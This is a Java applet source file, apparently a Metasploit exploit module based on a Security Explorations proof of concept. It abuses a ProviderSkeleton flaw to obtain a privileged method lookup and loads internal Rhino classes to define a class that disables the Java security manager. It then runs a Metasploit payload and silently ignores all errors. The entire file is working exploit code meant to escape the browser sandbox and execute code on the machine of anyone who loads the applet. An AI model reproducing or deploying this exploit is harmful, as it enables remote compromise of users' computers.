import java.applet.Applet;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

import metasploit.Payload;

import com.sun.tracing.Provider;
import com.sun.tracing.ProviderFactory;

/**
 * Class exploiting the vulnerability in the ProviderSkeleton class. Based on
 * POC of Security Explorations' Issue 61.
 * 
 * @author mk
 * 
 */

public class Exploit extends Applet {

	InvocationHandler invoc = null;
	MethodHandles.Lookup look;

	public Exploit() {
		try {

			ByteArrayOutputStream classInputStream = new ByteArrayOutputStream();
			byte[] classBuffer = new byte[8192];
			int classLength;

			InputStream inputStream = getClass().getResourceAsStream(
					"DisableSecurityManagerAction.class");

			while ((classLength = inputStream.read(classBuffer)) > 0)
				classInputStream.write(classBuffer, 0, classLength);

			classBuffer = classInputStream.toByteArray();

			ProviderFactory fac = ProviderFactory.getDefaultFactory();
			Provider p = fac.createProvider(ExpProvider.class);
			invoc = Proxy.getInvocationHandler(p);
			Class handle = java.lang.invoke.MethodHandles.class;

			Method m = handle.getMethod("lookup", new Class[0]);
			look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);

			Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
			Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
			Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");

			MethodHandle enterMethod = getMethod(context, "enter", context,
					new Class[0], true);

			Class argTypes[] = new Class[1];
			argTypes[0] = ClassLoader.class;

			MethodHandle createClassLoader = getMethod(context,
					"createClassLoader", genClassLoader, argTypes, false);

			argTypes = new Class[2];
			argTypes[0] = Class.forName("java.lang.String");
			argTypes[1] = (new byte[0]).getClass();

			MethodHandle defineClass = getMethod(defClassLoader, "defineClass",
					java.lang.Class.class, argTypes, false);

			Object enterContext = enterMethod.invoke();
			Object cLoader = createClassLoader.invoke(enterContext, null);
			Class disabler = (Class) defineClass.invoke(cLoader,
					"DisableSecurityManagerAction", classBuffer);
			disabler.newInstance();
			Payload.main(null);

		} catch (Throwable e) {

		}

	}

	private Class loadClassUnderPrivContext(String className) throws Throwable {
		Class ret = null;

		Class theClass = java.lang.Class.class;

		Class argTypes[] = new Class[1];
		argTypes[0] = String.class;

		Method m = theClass.getMethod("forName", argTypes);

		Object argObjects[] = new Object[1];
		argObjects[0] = className;

		ret = (Class) invoc.invoke(null, m, argObjects);

		return ret;
	}

	private MethodHandle getMethod(Class c, String methodName,
			Class returnType, Class argTypes[], boolean isStaticMethod)
			throws NoSuchMethodException, IllegalAccessException {
		MethodHandle ret = null;

		MethodType methodType = MethodType.methodType(returnType, argTypes);

		if (isStaticMethod)
			ret = look.findStatic(c, methodName, methodType);
		else
			ret = look.findVirtual(c, methodName, methodType);

		return ret;
	}

}
